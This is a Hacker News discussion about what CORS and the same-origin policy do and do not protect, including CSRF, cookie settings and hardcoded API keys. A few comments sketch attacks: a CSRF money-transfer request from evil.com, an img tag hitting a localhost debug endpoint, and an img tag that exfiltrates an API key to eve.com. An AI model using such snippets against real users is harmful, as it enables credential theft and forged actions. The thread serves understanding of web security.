Hacker News new | past | comments | ask | show | jobs | submit login
CORS is not meant to secure an API endpoint (nikofischer.com)
220 points by Yabasta on Feb 13, 2022 | hide | past | favorite | 154 comments

CORS is confusing to understand because the kind of attack it protects against is confusing.

CORS does not protect endpoints against malicious clients, since you can always just make the same request outside of a browser. And it doesn't protect any site from making or receiving cross-site requests, since CORS can always be disabled on the server side.

CORS protect against the scenario where a malicious site tricks an unmodified browser to make a cross-site request to a legitimate site. If the user has an authentication cookie for the legitimate site, the cookies will be sent along with the request. So the malicious site can perform transactions in the legitimate site on behalf of the user, despite not having direct access to the authentication cookie.

CORS is further complicated because certain forms of cross-site requests have always been allowed by browsers, and therefore must remain enabled by default for backwards compatibility. GET requests to separate sites is allowed, since this has always been allowed e.g. to embed images from other domains. POST requests are allowed with the caveat that you can't inspect the result, because you have always been able to initiate a post to a different site from a html form.

Again, CORS does not protect, the SOP does :-)

You can consider CORS a relaxation on top of SOP (same-origin policy), since CORS allows you to opt-in to certain cross-site requests which are not allowed under SOP. Then again, SOP allows certain requests like 'PUT' and 'DELETE' requests back to the origin server which was not allowed before SOP, so in that sense SOP is also a relaxation.

Bit it is a good point that CORS enables more forms of cross-site requests than what is allowed under the same-origin policy. But the requests are enabled under certain confusing restrictions which is better understood if you understand the scenarios they are designed to protect against.

SOP is certainly not a relaxation. SOP restricts all those cross-origin request.

I don't quite understand what you mean with PUT and DELETE not being allowed before SOP? What exact operations where not possible before SOP and are now (and pose a security risk?)

It was not possible to initiate a PUT or DELETE request from browsers until XMLHttpRequest with same-origin-policy was introduced.

That doesn't matter at all in a security context. POST can (and is used) for everything DELETE and PUT are used. Adding DELETE and PUT did not relax anything.

The only question is whether requests are restricted (i.e. in terms of sending resources like cookies).

If that is the case, then SOP does not restrict anything either, since you can still send cross-origin POST requests under single-origin-policy. I don't think this is a useful way to look at things.

SOP should primarily be understood as a restriction on reading responses, not making requests.

SOP certainly does make restrictions on making requests, like setting any non-default headers (including content-type). It is one of the reasons that validating content-type to not be one of the normal form values used to be a valid way to handle CSRF for APIs.

One can use GET as well. It is up to whatever sits behind the browser to interpret request and it can do as pleases. I personally use JSON based RPC in my apps.

Strictly speaking you are correct, but is there any actual harm in people using the word CORS as a shorthand for the whole system of Same Origin Policy + Cross Origin Resource Sharing?

If there's some kind of dangerous misunderstanding that stems from this, I can understand emphasizing it, but otherwise it just feels pedantic.

> is there any actual harm in people using the word CORS as a shorthand for the whole system of Same Origin Policy + Cross Origin Resource Sharing?

Yes. Consider:

> Hey, the results from the security audit are in and it’s mostly fine, except the pen testers said that we don’t need CORS for our /foo endpoint. Can you disable it entirely please?

If you understand what CORS is, you will interpret that as “Our security is too lax, let’s tighten it up by removing the exceptions to the SOP that CORS grants” and correctly increase security.

If you think CORS is how you described, you will misinterpret that as “We don’t need security for this endpoint, open it up to the world with Access-Control-Allow-Origin: *” and create a massive security vulnerability.

If you think of CORS as something that restricts things in the name of security, your understanding is 100% backwards from what it actually is, and this can be disastrous for security.

There are misunderstandings arising - reading this thread or the articles makes it clear for me…

> Again, CORS does not protect, the SOP does :-)

This is simply false. You are somehow wrongly assuming that only same-origin requests exist or are needed. This scenario never existed in the real world beyond the scope of small personal projects.

To explain your error a bit less facetiously, the point my sibling is making is that SOP is the default policy, which is maximally restrictive. CORS is a technology used to relax SOP, to make it less restrictive.

So it is not CORS that protects, since it restricts nothing, but SOP (potentially relaxed by CORS).

> You are somehow wrongly assuming that only same-origin requests exist or are needed.

No they are not making that assumption.

How am I assuming that? How exactly does CORS add security?

I know the official line is that CORS “protects” the relying party (the website that initiates requests) but in practice I have found it to be quite the opposite.

From having to deal with CORS over the years, to me is just a tool to protect one thing… the intellectual property of whatever site we are loading resources from.

For example, images arrive “tainted” and you can’t get their pixels on a canvas no matter how hard you try. You can’t generate a “screenshot” you can print, and so forth.

If this was just about protecting the relying party website, that website would have a way to get around this “protection” to get something done.

Sure, people can try to get at the intellectual property directly, but they’d have to have an authenticated account first. If they do it on the site where it’s hosted, they are subject to its rules. If they are coming from some random site, eg loading it in bulk, the resulting info they get can’t be analyzed by the Javascript.

Yes CORS is just a relaxation of SOP, which makes it impossible to get sensitive data that would have otherwise been revealed to the relying party. Again — SOP is protecting the user’s data loaded from the ORIGIN. Its main job is’t “protecting the receiving site”, that’s a pretty disingenuous characterization.

> I know the official line is that CORS “protects” the relying party (the website that initiates requests)

You're getting that wrong. It doesn't protect the website that initiates the requests. It protects the user from the website initiating the requests.

SOP is to stop website A from doing shady things to the user using their session from website B.

It does protect you in the sense that protecting your users is also protecting you, but it requires voluntary cooperation from the user, so it doesn't do anything to protect you from malicious users.

In the "hotlinking" example you're giving, CORS is only protection from the absolute laziest of attackers, since you can get around that with about 5 minutes of setting up nginx to proxy from your domain to the resources you want to re-use. You can also get the same protection without CORS by blocking requests based on the Referer header

Hum... I've never seen this use-case, but CORS and SOP are implemented on the browser under total control of the end user. If you create a scraping tool, you are perfectly capable of replacing it with any policy you want.

(Besides, I'm not sure where it falls inside the new Firefox extension rules, but this is the kind of thing to implement on an extension, or in the worst case, on a plugin.)

CORS does not protect the website at all…

> CORS protect against the scenario where a malicious site tricks an unmodified browser to make a cross-site request to a legitimate site. If the user has an authentication cookie for the legitimate site, the cookies will be sent along with the request. So the malicious site can perform transactions in the legitimate site on behalf of the user, despite not having direct access to the authentication cookie.

Can you please give an example of this?

You are logged into example.com and see a page from evil.com in an ad iframe on a third site. Evil.com tells the browser to post example.com/transfer-money?dest=badguy.

It is a solution for AJAX requests to the same problem that CSRF tokens solve for html forms.

Imagine a user is logged into facebook, and visits legitimate website X, which has been hacked to inject malicious script Y.

Malicious script Y makes a bunch of API calls to Facebook; since the user has been logged in, the Facebook cookies are sent along with the request by the browser. Malicious site Y could delete your posts, make you join pro-Nazi pages, or exfiltrate your network.

With CORS in place, the requests would be denied, because API requests can be set up to reject any requests that are not from a specific list of domains.

This is a bad example, because Facebook doesnt rely just on cookies, and in fact does have an SDK for making API requests from third party sites. The principle remains, however, if that were not the case, then CORS would be one possible remedy to the problem.

> CORS is an implementation in the browser and is designed to protect the user from malicious applications by ensuring that the resource in the browser is only allowed to access specific endpoints.

> This browser implementation can be bypassed at any time. First, it is up to the browser itself: if CORS is not integrated, or not integrated cleanly, then it will not work.

> An attacker can access the API key via the source code of the web app and use it, for example, via a cURL request to directly access the API resources of the backend. With cURL, no CORS takes effect, so the attacker has direct access with the full rights of the user.

All of this is completely wrong.

CORS does not protect anything from anyone. The same-origin policy stops code from one site reading resources from another site. CORS selectively removes that protection – it decreases security.

If CORS is not integrated, the same-origin policy is in full effect and code from one site cannot read resources from your site. It starts off as secure, and stays secure.

If you use cURL, then the same-origin policy doesn’t apply, and you can of course read any resource.

The same-origin policy is not a generic access barrier, and shouldn’t be used as such. It stops one site from abusing the user’s authenticated state with other sites, and that’s it.

> CORS does not protect anything from anyone. The same-origin policy stops code from one site reading resources from another site. CORS selectively removes that protection – it decreases security.

This comment comes off as either disingenuous or needlessly contrarian, and in the process tries to make points that fall somewhere between completely wrong and miopic.

Your personal assertion that CORS somehow decreases security is based on the patently false assertion that at any point in time requests only came from the same origin. Not only was this never the case, this ignores the fact that with the popularity of REST and SPAs and microservices and API-as-a-service, the norm was since switched to having browsers make requests to anything other than the same origin.

So, without CORS, you have a all-or-nothing security model, where the needle would always pend to the "nothing" side. With CORS, that needle can point "all that matters", which is pretty close to the optimal same-site solution. What CORS does is allow developers to abstract away the definition of "same origin" to mean "the origins that I explicitly allow".

You simply cannot claim that allowing only requests to the origins you explicitly allow is an erosion of a security model. That makes no sense. It made no sense when implicitly that list was only comprised of your own domain, it makes no sense now when that list includes reputable APIs that you pay to use.

The set of all requests possible with CORS is a superset of all requests possible without CORS. The entire purpose of CORS is to allow more requests. By definition, it removes security barriers and opens things up.

> So, without CORS, you have a all-or-nothing security model, where the needle would always pend to the "nothing" side. With CORS, that needle can point "all that matters"

Yes, and a policy that permits nothing is more secure than a policy that permits some things. Although “nothing” is not accurate, some requests are still permitted in either case.

> You simply cannot claim that allowing only requests to the origins you explicitly allow is an erosion of a security model.

I didn't claim that. “Allowing only requests to the origins you explicitly allow” implies that you are enforcing a restriction, when in fact the opposite is happening – you are permitting more by removing restrictions. Tightly scoping what you open up with CORS is still removing restrictions, not adding them.

> Yes, and a policy that permits nothing is

You're reading that backwards. "nothing" is "no security".

> This comment comes off as either disingenuous or needlessly contrarian, and in the process tries to make points that fall somewhere between completely wrong and miopic.

Bluntly, your response is the one coming off as needlessly argumentative, and the parent comment made plenty of sense to me. I don't think it's disingenuous to clearly explain the difference between the Same-Origin Policy and CORS, and to emphasize that CORS relaxes the Same-Origin Policy.

Regardless of their tone, fivea is correct to point this out as myopic.

The grandparent comment argues about semantics and provides information that is technically correct, but not in a useful sense. To say that "CORS decreases security" because it opens up cross origin communication is perhaps not disingenuous (who can say?) but certainly misleading. All browser users would be worse off without CORS.

I think we are arriving at the word 'security' with different starting points and lenses, and a different chunking of what constitutes CORS. So I too am guilty of making a semantic argument.

>All browser users would be worse off without CORS.

You and fivea are conflating functionality with security.

Yes, it may be functionally desirable for an app to allow cross-origin requests, as enabled by CORS. But, you're granting permissions, and that is opening things up, possibly making them less secure.

I think great-grandparent's point highlighting this is worth making, given that there is so much confusion around CORS.

The three pillars of security are confidentiality, integrity and availability.

Letting people have access to things that they are supposed to have access to is part of security. You don't get perfect security just by denying everyone access to everything.


> You and fivea are conflating functionality with security.

fivea wasn't conflating functionality and security. They were saying that a world without CORS would be a world where those rights are always granted.

>a world without CORS would be a world where those rights are always granted.

Or a world where those rights are never granted.

Which of those you conclude is a matter of semantics, and this interpretability contributes to the confusion around what CORS actually does. It's that confusion which another commenter was addressing [0] and that my comments sought to support/clarify. You may be unaware that some people believe that CORS is intended to "lock things down" vs. "open them up". They don't understand that it's opt-in or the default behavior without it.

But, it's a matter of fact that usage of CORS presents risks vs the default policy, and those risks must be considered. That's really the point vs the idea that CORS has no utility.

It's worth noting too that, strictly speaking, there are frequently workarounds to the default policy that don't require CORS, some of which are arguably more secure by way of being less prone to configuration errors.

[0] https://news.ycombinator.com/item?id=30320613

> Which of those you conclude is a matter of semantics, and this interpretability contributes to the confusion around what CORS actually does. It's that confusion which another commenter was addressing [0] and that my comments sought to support/clarify. You may be unaware that some people believe that CORS is intended to "lock things down" vs. "open them up". They don't understand that it's opt-in or the default behavior without it.

Okay, sure, there's a semantics question and also some people are just confused.

So here is where I took issue: Yes, many confused people are conflating functionality and security. But while fivea/pshc's words might accidentally encourage that confusion, they were not confused, and were not conflating the two.

>while fivea/pshc's words might accidentally encourage that confusion, they were not confused, and were not conflating the two.

Probably more semantics. I don't claim to know what's in fivea/pshc's heads or whether they themselves are confused. I was speaking to my observation that their comments merged the two issues.

You may prefer phrasing like, "their words might accidentally encourage confusion" versus "conflation". I'd say conflation is the mechanism there, but OK.

Or you might prefer I specifically clarify "their comments conflated the two" vs "they conflated the two".


Here's how I see the difference: They made a definite distinction between the two, but if someone read too fast they might miss the distinction.

So their comments did not conflate, but might accidentally cause future conflation, so it's reasonable to reply to make the difference extra clear, but I don't think it's reasonable to accuse them of conflation.

Then it's not merely semantics. We legitimately disagree.

It happens. Thanks for clarifying.

> a world without CORS would be a world where those rights are always granted.

We’ve already seen a world without CORS, and that didn’t happen. Cross-origin restrictions were brought in almost immediately after the introduction of JavaScript and existed for over a decade before CORS was introduced.

I disagree. Just read the article „cors protects us“ - things like these come from misunderstandings like this one.

Actually, I agree with OP. Grandparent's phrasing:

> All of this is completely wrong.

Is not only needlessly argumentative but also wrong itself. The 3rd point they include as "completely wrong" is not wrong, and they end up just rephrasing it later in their correction.

> The 3rd point they include as "completely wrong" is not wrong

It is:

> With cURL, no CORS takes effect, so the attacker has direct access with the full rights of the user.

The attacker has direct access with the full rights of the user because this is not a situation where one origin is making a request for a resource from another origin, so there’s nothing that says this shouldn’t happen. It’s got absolutely nothing to do with CORS at all.

You and OP make a good point. In that most people I’ve come across don’t understand how the Same-Origin Policy and Cross-Origin Resource Sharing differ and relate.

I believe it’s important developers learn the nuances, otherwise we will likely see more faulty implementations.

I think the confusing is in "adding CORS". I think you mean "Adding CORS to the browser standards", and gp means "Adding some kind of CORS interceptor thing in my backend".

It's great that CORS is a thing in browsers, and you can use it if you need. But each person who uses it is allowing more origins, and so allows more requests.

Personally I always avoid CORS and just server every thing I need from the same origin, but that's just because of the kinds of things I've worked on.

If you have a lock with no keys, it is secure, since it can't be opened. As soon as you have one key, the lock is less secure, because now the lock can be opened.

> If you have a lock with no keys, it is secure, since it can't be opened. As soon as you have one key, the lock is less secure, because now the lock can be opened.

No, not really. Your simplistic example fails to acknowledge that your same-site "lock with no keys" model rendered same-origin-policy completely unusable in projects that fall beyond the scope of a personal hobby project, which left the whole world with no alternative to turn it off. CORS recognizes the absurdity of implicitly assuming that the same origin is the only possible and conceivable safe origin, or even that a site has a single origin.

Therefore, your comparison would actually be between an old lock which was no longer usable and thus forced everyone to go around with no locks, or a lock designed around one of the world's most basic requirements and thus made it possible for the old lock concept to be applicable.

We are not arguing about the usefulness of CORS, of course it is useful. It does not protect you though.

If you have a lock with no keys, it's a non-starter; the door has no purpose. You'd be better off sealing the entrance with bricks.

If you offer a website with an API then CORS is an enhancement in that you're helping protect users from getting owned or hijacked. Alternatively if you can't stomach the risk, you could take down your API, which is about as useful as solving a math equation by multiplying both sides by zero.

"Lock with no keys" isn't particularly uncommon. They exist in the real world as one-way devices.

There's a while saying dedicated to it, "lock them up and throw away the key".

Hahah, alright. I'll grant you that. The lock:CORS metaphor was tenuous at inception, and now it is truly vaporized.

Notice how nobody ever does that with an actual lock. It's a metaphor for never letting them go free.

A lock with no keys can still be opened with a lockpick or just brute force.

From experience, I can tell you that many people simply refer to this entire domain as CORS despite that S standing for Sharing. The Same Origin Policy is treated verbally more like the default state of CORS in some circles.

It is very confusing and I’m not entirely sure how it ended up like that.

It's a common for protocols, mechanisms and policies to be confused in terms of intention, and often to be misunderstood. SameSite was another example recently, a lot of people don't understand that Site and Origin have specific meanings in the browser world.

From my own time observing the process of how these things get drafted up, it's because the creators of these mechanisms work in a committee and in a circle in which everyone is highly familiar with their specific terminology. There is no thought given to accessibility of general understanding for 'the masses' and that eventually manifests itself in this way. I'm not saying they should or shouldn't be giving thought to naming, just pointing out what I observe.

It is more complex than that, because certain kinds of cross-site requests has always been allowed. GET and POST requests are allowed, but PUT and DELETE is not. For POST requests you can send the request but not access the result. So CORS can be used to increase protection, by disabling cross-site POST requests, but it can also be used to decrease protection for other requests.

This isn't fully accurate -- you can never prevent cross-site POST requests from being initiated, with or without CORS. For example, CORS is never involved in requests from <form> submissions (which can be triggered via JavaScript).

Really CORS cannot be used to lock anything down. The behavior of a server not implementing CORS has the same end result as a server trying to be as restrictive as possible. Both would not send any CORS headers in responses and would simply ignore pre-flight requests.

> Really CORS cannot be used to lock anything down.

Lets say you have a legitimate website with uses form POST's or GET's to implement cross-site requests to some service on a different domain, authenticated through a cookie. This is vulnerable to cross-site request forging. Changing this to use fetch with CORS can protect against this kind of attack, since the service can now ensure the request is initiated from a legitimate origin.

It is just important to understand what CORS protect against and what it doesn't protect against. You can always forge a request to look exactly like a CORS-compliant request from a legitimate origin - but you still wouldn't have the necessary authentication cookie. If the attacker have somehow gotten access to the users cookie, then there is no need for request-forging in the first place, the attacker can just directly log into the service. If the users browser is compromised it is the same. So CORS protect against the specific scenario where a malicious site visited by a legitimate user forges a request to a legitimate site, misusing the authentication cookie associated with the legitimate domain. In this scenario, the CORS header will indicate the origin of the malicious site, and the server will be able to reject the request.

AFAIR it’s never the server that rejects the request in a CORS scenario: The server indicates what origins are allowed to call the API and the browser cancels the request on behalf of the user if called on a website that’s not on the allowed list. The server canceling the request based on a header would be insecure since the client can send arbitrary headers.

JavaScript in an uncompromized browser cannot send arbitrary headers. See: https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_...

Otherwise a malicious site could just forge the Origin header in the preflight request.

This is true, but there have been a lot of browser bugs in the past with Origin/Referer headers. Relying on those is not as foolproof as a CSRF token, which would require a more severe UXSS-type issue to leak. I wouldn’t advise it.

Form Posts are limited to few content types, and application/json is not one of them. I have however found some CSRFs against POST endpoints that did not care that the request was text/plain

> Really CORS cannot be used to lock anything down.

yep, that's what Cross-Origin Resource Policy (CORP) for. It is designed to seal the last loop hole in same-origin policy. (img and scripts don't require cors at all) But there is a big gotcha, the old browser that don't know about it simply don't care. So it isn't strictly useful for now.

Yup. CORS has so many loopholes that you should pretend like it doesn't exist.

My favorite is... imagine I routinely port-forward an app's debug port to my workstation for debugging. It has a useful /email-debug-info?address=example@example.com endpoint. You can then call that over the Internet by serving me a web page that contains <img src="http://localhost:1234/email-debug-info?address=example@examp...">. CORS doesn't care. My browser doesn't care. It will just silently leak information. (Also great for other things on your network. Log into your router at recently? Someone can make a web page with a form that submits to or whatever, and you can forward whatever ports you want.)

What's hilarious to me is that CORS seems burdensome in the opposite direction too. It breaks peoples applications somehow! While writing this comment, I did a search to see if I could remember the standards-track proposal for fixing the two "bugs" I mention above... but all the search results are people asking how to disable CORS rules because their app is broken. Sigh! The web is a mess.

> My browser doesn't care.

It soon will https://web.dev/cors-rfc1918-feedback/

Apart from the misunderstanding that CORS protects you, you are describing two scenarios.

I don't really understand the first one or why you think SOP should protect you in that case. Could you restate that problem?

The second one is a CSRF issue, as noted by another user.

The third thing you describe is not people who disable CORS but actually use CORS to the max (usally things like Access-Control-Allow-Origin: *), because they don't understand what it does. It's a huge problem...

As mentioned, CORS isn't designed to protect against requests where the response isn't read by another origin's JS. Even with fetch I think you could "bypass" CORS to the same extent as this example by passing the "no-cors" mode.

This is just a CSRF issue, which is well understood and easily fixed with a CSRF/authenticity token.

Also, GET requests should not have side effects like sending an email. A reasonable default seen in some frameworks is GET requests have no side effects and don't require CSRF tokens, while all other verbs do.

Isn't this a CSRF issue?

> It is more complex than that, because certain kinds of cross-site requests has always been allowed. GET and POST requests are allowed

Request headers and body content-type are also a factor for POST, anything which couldn't be set through a FORM is forbidden.

The most common issue is that the request is only simple if its content-type is `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`. JSON POST requests usually run afoul that. The second big issue is setting bespoke headers as only Accept, Accept-Language, Content-Language, and Content-Type (restricted to the above list) are simple. There common sticking points are headers like Authorization.

The request does not send resource/cookie data if CORS does not explicitly relax the SOP. CORS does not protect!

A cross-origin POST request can be initiated using a HTML form and does send cookies. CORS provides a safer alternative.

Can you elaborate on how CORS provides an alternative? Responding with a CORS policy to your own client’s preflight requests is not going to do anything for a malicious client’s form POST.

I agree, the author doesn't seem to grasp the fact that CORS always waters down security. That is, CORS is the way of security weakening. Although the author correctly notes that only browsers respect CORS, there is no mention that this happens because CORS relaxes security built into browsers.

Of course. Author just missed how CORS works :).

Ah, CORS. One of those rare topics to fall under the category of: "I have no idea how it works. I run into an issue with it. I spend all day researching, reading documentation, blog posts, etc, explaining it. I finally come to some understanding. Three weeks later, start the process again."

To my weak-minded brain, the sticking point always comes down to: CORS/SOP is a policy enforced by the browser, correct? The client. The endpoint tells the client what origins should and should not be allowed to make the request. It is up to the client (browser) to decide whether to enforce this policy or not. Is that at least somewhat correct?

Yes. The other confusing thing about CORS is that CORS is not a protection against anything, but rather a way to UN-protect (in a restricted fashion) the browser's "same origin policy". Same Origin Policy is the protection, and CORS is the way to allow the browser to poke a hole through that in a limited fashion (only for the domains that the original site you visited say it should allow).

In addition to what jordanlev said: the server tells the client that the origin the client sent is allowed. It's basically a boolean but for some reason the access-control-allow-origin header specifies an origin URL.

Having read the original article (https://designkojo.com/post-drupal-using-jsonapi-vuejs-front...), it’s quite clear that the author doesn’t know enough about what he’s talking about to write these kinds of posts. I wouldn’t usually say this, but on security-critical topics like this, winging it just isn’t good enough. People will be misled by this article.

Exactly. I was gonna give it the benefit of "maybe the original is JUST running the Vue.js App locally, never published anywhere, so adding the API key in the environment is fine" but no, reading the original it's clear that the author just has no idea what they are doing.

More importantly, he probably has a bunch of customers he’s done this to and they are all exposed.

Where can I learn/read about this topic? It seems like mysterious magic to me, and everyone is always saying everyone else is wrong.

Concernting this particular article, there is not actually much to learn. Ignore everyone bickering about CORS, that's beside the point (as is the title, which was very badly chosen).

The point is that in a client-server architecture, you can never trust the client to play by your rules, and anything you put into the client becomes public knowledge.

The big mistake in a previous article which this one criticizes is this: it put an API key hardcoded into the client, which let everyone who looks at the client code do whatever the REST API lets you do. At that point, rules like "you need an account, you have to log in, you can only change your own stuff" can simply be ignored by accessing the REST API directly instead of running the client code.

The correct way to do it is to require an authentication token sent along with requests and which the server checks. The difference between the insecure API key and the authentication token is that the client gets the token only after the user logs in, it is unique to that user, possibly valid for a limited time, and the server will only only allow viewing or modifying things which the user for which that token was generated is allowed to view or modify.

> Where can I learn/read about this topic?

It's not this specific topic, it's any topic and a general mindset.

Thinking about possible attack vectors on your own application is a mindset, and to be able to do that properly you need to deeply understand the technology you are using.

There's no exhaustive list of security issues to avoid, just as there is no exhaustive list of every function you'll ever need to write. Security means preventing the wrong kind of people to do the wrong kind of things. What that means is entirely dependent on your application.

In the current webpack world where your code is mangled through 18 different tools before turning into an opaque JavaScript blob somewhere in your angular app that was automatically set up for you, many people lack an understanding of what's actually happening.

You cannot make a boat sink-proof if you don't understand why a boat floats. Sure someone could make a list of things to watch out for and rules to abide by, but that's probably not gonna cut it in the long run.

Ignorance is the greatest wisdom. I would love to hear the comments of the owner of this article on many issues in person

Even this article gets it wrong: CORS does not protect you in any way. It‘s a relaxation of the SOP! Thus it decreases security.

That’s oversimplified to the point of being extremely misleading. Under SOP, the way you loaded third-party data (not code) was JSONP, where (oops!) you’re actually loading third-party code but you just cross your fingers and hope the third party doesn’t deliver you any nefarious code.

CORS does allow to share, not disallow! The default under SOP is not to share.

You're ignoring their point. There are still ways to share across origins even with SOP and without CORS, for example JSONP[1]. Using CORS is more secure than the pre-CORS way of sharing things across domains.

[1] https://en.wikipedia.org/wiki/JSONP

Seems both articles are wrong - but the real issue it gets correct is:

you should never hard-code an API key in this manner.

The comments in this thread accurately reflect my own personal journey with CORS. Like waves on the shore, my confidence in my understanding of the protocol ebbs and flows with the orbit of the Moon.

Getting CORS right involves a couple days of forgetting what I think I know, closely reading how it works (again), writing up a custom middleware for whatever web framework I’m using that time because the OOTB middlewares always have subtle bugs (usually with the Origin header), and then essentially forgetting about it for the next few years.

I don't get where the problem is.

CORS is well defined here: it ALLOWS a browser to make certain types of requests to endpoints outside the domain the browsed website comes from:


Because the browser follows the same origin policy for a number of API (like FETCH):


Also if you are a developer, please check:



To add an extra layer of protection against cross site scripting. I think one of the recent data leak could have been avoided if the website implemented that very basic header all modern browsers support.

The thing that makes CORS annoying for me is when trying to get a local development environment up and running, or trying to get a standalone web page (e.g. game) running locally. For the latter, you can run a simple web server but its another added impedance that reduces usability in favour of security, like not being able to render an XML file with an xsl preprocessing statement to a local XSLT file.

CORS is primarily a concern for frontend engineers, though its implementation depends on backend. In my experience, many backend engineers struggle to understand it because it's not their concern.

I found comparing CORS with CSP helpful in understanding both concepts: https://stackoverflow.com/a/50726191/1472186 (I wrote the answer)

Also, like others have pointed out, CORS or CSP depends on the client (browser) to enforce it. So it doesn't protect against attacker with customized clients.

What is missing is a guide how to replace the bad pattern bey a good one. Add a function that the user can login, create his individual API key, and store in a a secure way on his client (e.g. any credential store)

Agreed. This is a good article, written well for the intended audience—which I would qualify as occupying that ambiguous space between junior and senior developer knowledge. Perhaps the author hasn’t really arrived at the “right” answer for themselves. You hit the nail on the head, the solution is to login (authenticate).

Maybe the author is being careful not to offer an abstract use case as that might ironically be misinterpreted and be counterproductive? I feel security blogging is just one of those subjects where it’s more useful and prudent to express what shouldn’t be done then should. Maybe it’s okay it doesn’t include the solution, that’s left up to the reader to infer.

httpOnly secure same-site cookie.

Even storing a session token in localStorage is not a problem if you‘re protected against xss (if your not, nothing else will protect you anyway)

That last argument you're making there is not valid in my opinion. Security is built by layers and the reason we use HttpOnly cookies is to still have protection even if malicious javascript steals a cookie.

How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.

In the browser, yes. But when you steal an API key I can send it to an external server (<img src=https://eve.com/pixel.jpg?apikey=...">)and exploit and impersonate the user without anyone knowing about it and without collaboration of the web browser.

You can do anything until I close a page. Stealing cookie might allow you to continue after that.

I will have done anything I want to within one second of you logging in. There is no need for later attacks

But the window of opportunity is dramatically reduced if you can only launch your attack while the user is actively using the victim's site.

It's the same reason OAuth uses expiring tokens. If you think that doesn't help and you're surely smarter than the whole security community who has been developing these standards for decades, please write a specification yourself and let us review it to see how great that is.

Let's say you compromise my social media account. You can immediately post as me, but that isn't so useful. You would probably prefer to have ongoing access to my account, so you can post as me at some future point when you have something you want to promote.

But you wrote “same-site” :) It will protect against XSS.

No XSS is another class of vulnerabilities

Yes, sorry. Always forgetting the difference :)

That Strict same-site cookie won’t be sent if you use any third party payment systems (like stripe checkout). It’s basically useless because if they cancel or complete the payment, the browser won’t send the cookie and forces the user to login again.

probably worth mentioning is Chrome last year started assuming a default SameSite cookie of "Lax", rather than the previous default of "None".

Let's just say, certain people were caught with their pants down on that one. Notably, Amazon. If you go to watch the bonus content for The Expanse on Prime Video, you will notice that it does not work in Chrome but works fine in Firefox (as of a few weeks ago, at least).

If your site depends on SameSite None, you need to explicitly set it now.

The first line is correct.

The second has no value because you are either using techniques that are not vulnerable by XSS or not. “same-site” cookie is one of them.

Care to expand? I don‘t see the point

CORS is about making the web browser behave in a certain manner, and not the web site, and not the end-user.

Once fully understood, it is useless mechanism of security theater.

It is not useless, because there is information that the browser has and that it is trusted to protect. Consider a server that returns JSON in response to a POST request, and what JSON it returns depends on the user's cookie. Properly configured CORS headers allow the JSON to be read by some origins and not others.

An attacker with curl will not have the user's cookie and an attacker with a malicious website will not have the right origin.

In your scenario, the attacker with the web site could simply proxy requests to that CORS "protected" end point (through their own web site, on the back end.) That would allow them to read the JSON response, and deliver it to the browser with alternate headers.

In that case, the attacker's endpoint will be on a different domain than your endpoint, so the cookie from your domain won't be included in the request.

That is true! But if they find some other vuln that gets them the cookie perhaps the proxy could still be of use.

Well, yes, hypothetical vulnerabilities can break any form of security, but without the same-origin policy, they don't even need another vulnerability.

The author misses one very important thing: The user only logs in on user-agents they trust.

CORS is supposed to secure the user’s data. You are NOT supposed to send global server-side data (like secret keys to third party services) through CORS.

Consider that any user data shown “publicly” to all other authenticated users (eg user icon via Facebook’s API) can be used to deanonymize that user, because someone can just create a fake account, exfiltrate the images, and do a reverse image search.

But the author is right, CORS is just one part of the equation. Together with SRI, they can definitely make secure cross-chain interfaces.

The actually insecure alternative back in the day was JSONP. Read my stackoverflow answer from OVER 10 YEARS AGO: https://stackoverflow.com/a/5447005

The real problem that someone had to urgently explain any of this in the first place.

Since, according to the article, the API key is user-specific, and presumably only a logged-in user would receive the key in the JS source, how would an attacker get hold of it? Just trying to understand the attack vector.

The author of the original article exported their personal key, and is now using it for everyone on their Vue website.

Presuming that only a logged in uses sees it is the problem. Everybody and their dog sees it, and can impersonate the person whose key it was.

This is why I think it's smart to discourage most developers from rolling their own authentication. Auth has gotten a bit more complex with the rise of SPAs plus API backends (like the setup in the original article), and mistakes you make with auth will bite you much harder. I'm not saying you should never do it, just that we all make mistakes and I'd rather those mistakes happen in a less security-critical context.

If my API doesn't use cookies, is there any reason for me to not fully enable CORS on the server? I.e. using JWT in a typical SPA <-> API scenario.

If you have any unauthenticated routes that you don't want arbitrary websites calling.

> using JWT in a typical SPA <-> API scenario. Is this typical? It's a pretty horrible setup. Cookies have a lot of great features that 'store a JWT in LocalStorage' just doesn't have.

This doesn't actually prevent arbitrary websites from calling them, it just makes it a tiny bit hard. They could always just proxy your endpoint and add the CORS headers.

I'm still interested in the original question: if you use localstorage for auth tokens and you have proper CSRF protection, what does allowing all CORS actually make you vulnerable to?

You don't even need CSRF protection if you use localstorage for the tokens

Why the hell does CORS only support exactly one origin domain or wildcard? Such a silly decision to not allow comma separated values or wildcard subdomains.

I get why you think it's silly. I'm pretty sure I thought that too when I first encountered it. But I think it makes sense and there is actually a way to support more than one but not wildcard. Multiple origin domains are supported by using the pre-flight request to change the one domain returned based on what is in the pre-flight request.

I don't know what the actual reason was, but I would guess the design decision was made so the multiple domains use case would be infinitely scalable. Otherwise you would run into header length limitations. Imagine trying to fit 10,000 domains into the header! Eventually you'd need something like this implementation anyways.

although browsers only accept a single origin domain or wildcard as cors header, the server can trivially handle the multi domain use case. on preflight request, check the location header in the request, and if it belongs to a defined whitelist, set the cors header on the response to that domain or subdomain. I don't know the why, but I can imagine that since there is a reasonable work around, browser implementers perhaps kept things simple and never bothered adding support for a list of specific domains.

I understand how it works, but adding unnecessary conditional server side logic to fix a limited spec is a poor solution.

Just imagine having everyone’s localhost and whatever other development sites exist bloating the header of GitHub’s API

Just imagine accidentally reflecting every origin as a wildcard because you misconfigured your dynamic acal response headers to reflect whatever the current origin is.

Ok guys, you won, I take it back.

It's inconvenient for sure but I've never dug deep into this the issue.

My guess is that it's related to subdomains not guaranteeing to be from the same origin.

The result is that people run into errors, Google them, copy paste the top SO result which advices to allow *

Doesn't seem ideal

Better then a top level wildcard.

Good question... most likely an oversight, or maybe it's to discourage lazy server operators from packing every response's headers with 50 origins.

API keys are for projects, authentication is for users. Read more here - https://cloud.google.com/endpoints/docs/openapi/when-why-api...

It could have been a catchy quote had they just used general wording over gcp terms. "Api keys are for machines, passwords are for humans."

(Also, I'm pretty sure an api key is a form of authentication.)

isn't CORS already technology for browsers? it does not promise anything for situations other than browsers. why is everyone saying it's insecure except for browsers?

Because most people don't understand what CORS is nor what it does. As I said, even the author of the article that is linked does not seem to fully understand it.

